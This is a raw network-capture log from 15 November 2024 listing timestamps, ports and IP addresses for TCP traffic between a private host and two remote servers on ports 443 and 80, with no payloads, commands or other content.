Nov 15, 2024 09:55:13.242479086 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.242490053 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.242496967 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.253976107 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.254024029 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.254127979 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.257731915 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.257746935 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.399473906 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:14.399568081 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:14.401882887 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:14.401957035 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:14.402033091 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:14.402081966 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:14.403170109 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:14.403228045 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:14.411989927 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:14.417378902 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:14.529139996 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.530076027 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.530101061 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.530313969 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.530647993 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.530654907 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.530673981 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.530694962 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.531265974 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.531270027 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.534605026 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.534683943 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.534976959 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.534989119 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.535334110 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.535346031 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.535368919 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.535376072 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.535902977 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.536185980 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.536191940 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.536528111 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.536531925 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.538471937 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.538476944 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.665102005 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.665175915 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.665303946 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.665333033 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.665417910 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.665476084 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.665649891 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.665673971 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.665676117 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.665688992 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.665697098 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.665704012 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.665709972 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.665719986 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.665720940 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.665719032 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.665725946 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.665776014 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.665795088 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.665839911 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.666533947 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.666553974 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.666567087 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.666573048 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.667062044 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.667217970 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.667284966 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.667721033 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.667738914 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.667749882 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.667756081 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.668447971 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.668452978 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.668483019 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.668487072 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.670836926 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.670855999 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.670880079 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.670891047 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.670984030 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.671650887 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.671653032 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.671658993 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.671674967 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.671677113 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.671799898 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.671821117 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.671969891 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.671969891 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.672004938 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.672224045 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.672240973 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.672319889 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.672401905 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.672408104 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.672935009 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.672945976 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.673018932 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.673171043 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:14.673186064 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:14.696115971 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:14.696208000 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:14.696264029 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:14.696264029 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:14.698059082 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:14.702919960 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:14.982256889 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:14.982275009 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:14.982289076 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:14.982320070 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:14.982332945 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:14.982343912 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:14.982351065 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:14.982357025 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:14.982393980 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:14.982436895 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:14.984880924 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:14.989811897 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:15.268934011 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:15.269115925 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:15.289906979 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:15.289968967 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:15.294667006 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:15.294846058 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:15.294855118 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:15.294863939 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:15.294872999 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:15.294905901 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:15.294914961 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:15.387933016 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.388499022 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.388529062 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.389036894 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.389043093 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.407040119 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.407593012 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.407618046 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.408241034 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.408248901 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.409085989 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.423475027 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.424031019 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.424045086 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.424876928 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.424882889 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.425322056 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.425339937 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.425765991 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.425770998 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.427875042 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.428246975 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.428263903 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.428667068 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.428673029 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.518306971 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.518440962 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.518531084 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.518790007 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.518805027 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.518816948 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.518824100 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.522535086 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.522564888 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.522695065 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.522841930 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.522859097 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.538341999 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.538502932 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.538677931 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.546040058 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.546058893 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.546071053 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.546077013 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.555459976 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.555541039 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.555598974 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.556876898 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.556898117 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.556915045 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.556922913 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.558515072 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.558573008 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.558598042 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.558600903 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.558689117 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.558737993 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.558813095 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.558813095 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.558820963 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.558830023 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.558975935 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.558985949 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.559999943 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.560065031 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.560111046 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.561001062 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.561033010 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.561089993 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.561213017 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.561225891 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.561259031 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.561268091 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.561279058 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.561285019 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.563119888 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.563133001 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.563239098 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.563930988 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.563937902 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.564603090 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.564631939 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:15.564698935 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.564790010 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:15.564805984 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.094516993 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.094646931 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.278075933 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.282440901 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.285743952 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.289499998 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.289856911 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.289880037 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.290185928 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.290195942 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.290488005 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.290493011 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.290792942 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.290801048 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.291063070 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.291104078 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.291552067 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.291557074 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.292162895 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.292180061 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.292615891 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.292623043 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.297405005 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.297955036 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.297964096 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.298408031 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.298412085 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.414926052 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.415049076 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.415116072 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.415178061 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.415319920 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.415319920 CET	49730	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.415337086 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.415345907 CET	443	49730	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.415350914 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.415425062 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.416753054 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.416889906 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.416949034 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.418776989 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.419083118 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.419145107 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.422863007 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.422863960 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.422904015 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.422930956 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.423774958 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.424024105 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.424067974 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.427637100 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.427653074 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.427680016 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.427685976 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.442179918 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.442203999 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.442235947 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.442244053 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.443459034 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.443470955 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.443480968 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.443485022 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.497548103 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.497618914 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.497685909 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.502486944 CET	49734	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.502532959 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.502579927 CET	49734	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.503930092 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.503958941 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.504003048 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.504980087 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.504996061 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.505105019 CET	49734	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.505121946 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.526645899 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.526674032 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.528249025 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.528300047 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.528369904 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.528548956 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.528563976 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.528682947 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.528772116 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.528835058 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.529381990 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:16.529412031 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:16.531213999 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.535998106 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.812472105 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.812508106 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.812642097 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.812881947 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.812925100 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.812939882 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.812942028 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.812975883 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.813014030 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.813020945 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.813035011 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.813102961 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.813395977 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.813406944 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.813419104 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.813457012 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.813479900 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.813484907 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.813498020 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.813534975 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.971589088 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.971610069 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.971622944 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.971635103 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.971699953 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.971740007 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.971755981 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.971766949 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.971827030 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.971827030 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.972033978 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.972054005 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.972086906 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.972119093 CET	49712	80	192.168.2.7	185.215.113.206
